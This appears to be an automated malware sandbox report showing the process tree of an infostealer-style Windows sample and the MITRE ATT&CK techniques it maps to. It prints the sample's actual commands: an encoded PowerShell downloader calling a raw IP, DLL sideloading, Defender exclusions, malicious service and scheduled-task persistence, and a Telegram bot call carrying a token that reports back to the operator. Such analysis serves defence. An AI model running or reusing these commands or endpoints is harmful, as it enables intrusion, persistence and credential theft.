Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3568
- C:\Users\Admin\AppData\Local\Temp\eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe
  "C:\Users\Admin\AppData\Local\Temp\eea453dc06c270bdacd08832935b0b246b02eb62da4eb1cc19850655e066217c.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
    "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5772
  - - C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1584
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        
        PID:5536
  - - C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
      "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3456
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:3024
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1048
      - C:\Users\Admin\AppData\Roaming\1L6p3TKPfb.exe
        
        "C:\Users\Admin\AppData\Roaming\1L6p3TKPfb.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5600
      - C:\Users\Admin\AppData\Roaming\8SzG3G8ZdZ.exe
        
        "C:\Users\Admin\AppData\Roaming\8SzG3G8ZdZ.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:968
  - - C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
      "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5492
    - - C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:212
  - - C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
      "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:984
  - - C:\Users\Admin\AppData\Local\Temp\1000129001\Set-up.exe
      "C:\Users\Admin\AppData\Local\Temp\1000129001\Set-up.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:336
    - - C:\Users\Admin\AppData\Local\Temp\service123.exe
        
        "C:\Users\Admin\AppData\Local\Temp\service123.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:460
  - - C:\Users\Admin\AppData\Local\Temp\1000191001\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1000191001\1.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2608
    - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1580
  - - C:\Users\Admin\AppData\Local\Temp\1000228001\Speech+to+Text+Pro.exe
      "C:\Users\Admin\AppData\Local\Temp\1000228001\Speech+to+Text+Pro.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:1500
    - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:972
  - - C:\Users\Admin\1000238002\Amadeus.exe
      "C:\Users\Admin\1000238002\Amadeus.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:6044
    - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4436
  - - C:\Users\Admin\AppData\Local\Temp\1000241001\build.exe
      "C:\Users\Admin\AppData\Local\Temp\1000241001\build.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2932
  - - C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe
      "C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      PID:5528
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1300
      - C:\Users\Admin\AppData\Local\Temp\1000283001\channel3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000283001\channel3.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:2308
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\AppData\Local\Temp\1000243001\runtime.exe" "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" && schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
        5⤵
        
        PID:1972
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5652
  - - C:\Users\Admin\AppData\Local\Temp\1000250001\pyl64.exe
      "C:\Users\Admin\AppData\Local\Temp\1000250001\pyl64.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:764
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Zm9yICg7Oyl7DQoJKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzM3LjEuMTk2LjM1L3VuMi9ib3R1aS5kYXQiLCAiQzpcVXNlcnNcUHVibGljXHB5bGQuZGxsIik7DQoJU3RhcnQtU2xlZXAgLVNlY29uZHMgMjsNCglpZiAoVGVzdC1QYXRoICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiKXsNCgkJY21kIC9jIG1rZGlyICJcXD9cQzpcV2luZG93cyBcU3lzdGVtMzIiOw0KCQljbWQgL2MgeGNvcHkgL3kgIkM6XFdpbmRvd3NcU3lzdGVtMzJccHJpbnR1aS5leGUiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMiI7DQoJCWNtZCAvYyBtb3ZlIC95ICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmRsbCI7DQoJCVN0YXJ0LVNsZWVwIC1TZWNvbmRzIDI7DQoJCVN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmV4ZSI7DQoJCWJyZWFrOw0KCX0NCgllbHNlew0KCQlTdGFydC1TbGVlcCAtU2Vjb25kcyA2MDsNCgl9DQp9')); Invoke-Expression $decoded;"
  2⤵
  PID:4320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Zm9yICg7Oyl7DQoJKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzM3LjEuMTk2LjM1L3VuMi9ib3R1aS5kYXQiLCAiQzpcVXNlcnNcUHVibGljXHB5bGQuZGxsIik7DQoJU3RhcnQtU2xlZXAgLVNlY29uZHMgMjsNCglpZiAoVGVzdC1QYXRoICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiKXsNCgkJY21kIC9jIG1rZGlyICJcXD9cQzpcV2luZG93cyBcU3lzdGVtMzIiOw0KCQljbWQgL2MgeGNvcHkgL3kgIkM6XFdpbmRvd3NcU3lzdGVtMzJccHJpbnR1aS5leGUiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMiI7DQoJCWNtZCAvYyBtb3ZlIC95ICJDOlxVc2Vyc1xQdWJsaWNccHlsZC5kbGwiICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmRsbCI7DQoJCVN0YXJ0LVNsZWVwIC1TZWNvbmRzIDI7DQoJCVN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICJDOlxXaW5kb3dzIFxTeXN0ZW0zMlxwcmludHVpLmV4ZSI7DQoJCWJyZWFrOw0KCX0NCgllbHNlew0KCQlTdGFydC1TbGVlcCAtU2Vjb25kcyA2MDsNCgl9DQp9')); Invoke-Expression $decoded;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4796
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c mkdir "\\?\C:\Windows \System32"
      4⤵
      PID:4604
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c xcopy /y C:\Windows\System32\printui.exe "C:\Windows \System32"
      4⤵
      PID:2892
    - - C:\Windows\system32\xcopy.exe
        
        xcopy /y C:\Windows\System32\printui.exe "C:\Windows \System32"
        5⤵
        
        PID:5808
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c move /y C:\Users\Public\pyld.dll "C:\Windows \System32\printui.dll"
      4⤵
      PID:4408
  - - C:\Windows \System32\printui.exe
      "C:\Windows \System32\printui.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      PID:1624
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "function dcstr { param ( [string]$cptx, [byte[]]$ky, [byte[]]$vv ) $aee = [System.Security.Cryptography.Aes]::Create(); $aee.Key = $ky; $aee.IV = $vv; $decr = $aee.CreateDecryptor($aee.Key, $aee.IV); $ciptbyt = [System.Convert]::FromBase64String($cptx); $decrbyt = $decr.TransformFinalBlock($ciptbyt, 0, $ciptbyt.Length); return [System.Text.Encoding]::UTF8.GetString($decrbyt); } $b64 = 'bEwPXcExNI2H+9tnOrO88vZr8LsvFbHxwO43zjWB2UEe39wbWt2wfYJn+M6AjL2oz3gIgcocur6WCc/5IYLV6c3HjNhgfxV59aCFOKqxmKXu/mfoJbe45VyAXPin5ErM20zro4fLljjJuxjliX/F0TOK8TE1CgAQLpE0b+Bo2x4Qgs6hRalwuJuorg9Gjhgh'; $ky = [byte[]](0x1E, 0x5B, 0x26, 0xF0, 0x75, 0x52, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE4, 0x98, 0xE4); $vv = [byte[]](0x10, 0x5B, 0x26, 0xE1, 0x75, 0x51, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE1, 0x88, 0xFF); $pcmd = dcstr -cptx $b64 -ky $ky -vv $vv; Invoke-Expression $pcmd;"
        5⤵
        
        PID:2968
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "function dcstr { param ( [string]$cptx, [byte[]]$ky, [byte[]]$vv ) $aee = [System.Security.Cryptography.Aes]::Create(); $aee.Key = $ky; $aee.IV = $vv; $decr = $aee.CreateDecryptor($aee.Key, $aee.IV); $ciptbyt = [System.Convert]::FromBase64String($cptx); $decrbyt = $decr.TransformFinalBlock($ciptbyt, 0, $ciptbyt.Length); return [System.Text.Encoding]::UTF8.GetString($decrbyt); } $b64 = 'bEwPXcExNI2H+9tnOrO88vZr8LsvFbHxwO43zjWB2UEe39wbWt2wfYJn+M6AjL2oz3gIgcocur6WCc/5IYLV6c3HjNhgfxV59aCFOKqxmKXu/mfoJbe45VyAXPin5ErM20zro4fLljjJuxjliX/F0TOK8TE1CgAQLpE0b+Bo2x4Qgs6hRalwuJuorg9Gjhgh'; $ky = [byte[]](0x1E, 0x5B, 0x26, 0xF0, 0x75, 0x52, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE4, 0x98, 0xE4); $vv = [byte[]](0x10, 0x5B, 0x26, 0xE1, 0x75, 0x51, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE1, 0x88, 0xFF); $pcmd = dcstr -cptx $b64 -ky $ky -vv $vv; Invoke-Expression $pcmd;"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3624
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\usvc.exe"
        5⤵
        
        PID:4480
      - C:\Windows\System32\usvc.exe
        
        "C:\Windows\System32\usvc.exe"
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        
        PID:1520
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
        7⤵
        
        PID:4364
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2316
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c sc create x300601 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x300601\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x300601.dat" /f && sc start x300601
        7⤵
        
        PID:3496
        
        C:\Windows\system32\sc.exe
        
        sc create x300601 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
        8⤵
        Launches sc.exe
        
        PID:3764
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\services\x300601\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x300601.dat" /f
        8⤵
        Server Software Component: Terminal Services DLL
        Modifies registry key
        
        PID:3972
        
        C:\Windows\system32\sc.exe
        
        sc start x300601
        8⤵
        Launches sc.exe
        
        PID:3524
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
        7⤵
        
        PID:4764
        
        C:\Windows\System32\console_zero.exe
        
        "C:\Windows\System32\console_zero.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1536
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c schtasks /delete /tn "console_zero" /f
        9⤵
        Indicator Removal: Clear Persistence
        
        PID:3800
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "console_zero" /f
        10⤵
        
        PID:3616
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        9⤵
        
        PID:5728
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3180
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c powershell -Command "Invoke-RestMethod -Uri https://api.telegram.org/bot7170879715:AAGG1917SpGSHmE0vBzZE2U5dWvvrWIzd8g/sendMessage -Method Post -ContentType 'application/json' -Body (ConvertTo-Json @{chat_id=1536131459; text='[+] Admin@MKDTRXIT: Service installed success'});"
        7⤵
        
        PID:3344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-RestMethod -Uri https://api.telegram.org/bot7170879715:AAGG1917SpGSHmE0vBzZE2U5dWvvrWIzd8g/sendMessage -Method Post -ContentType 'application/json' -Body (ConvertTo-Json @{chat_id=1536131459; text='[+] Admin@MKDTRXIT: Service installed success'});"
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1392
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c timeout /t 10 /nobreak && del /s /q "C:\Windows\System32\usvc.exe"
        7⤵
        
        PID:5568
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:3520
        
        C:\Windows\System32\cmd.exe
        
        cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \"
        7⤵
        
        PID:5132
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:3116

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:3624

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3500

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2972

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:404

C:\Users\Admin\Pictures\Lighter Tech\runtime.exe
"C:\Users\Admin\Pictures\Lighter Tech\runtime.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:220
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:5872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" && schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
  2⤵
  PID:4540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k DcomLaunch
1⤵
- Loads dropped DLL
PID:4440

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:4168

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2268

C:\Users\Admin\Pictures\Lighter Tech\runtime.exe
"C:\Users\Admin\Pictures\Lighter Tech\runtime.exe"
1⤵
- Executes dropped EXE
PID:1448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion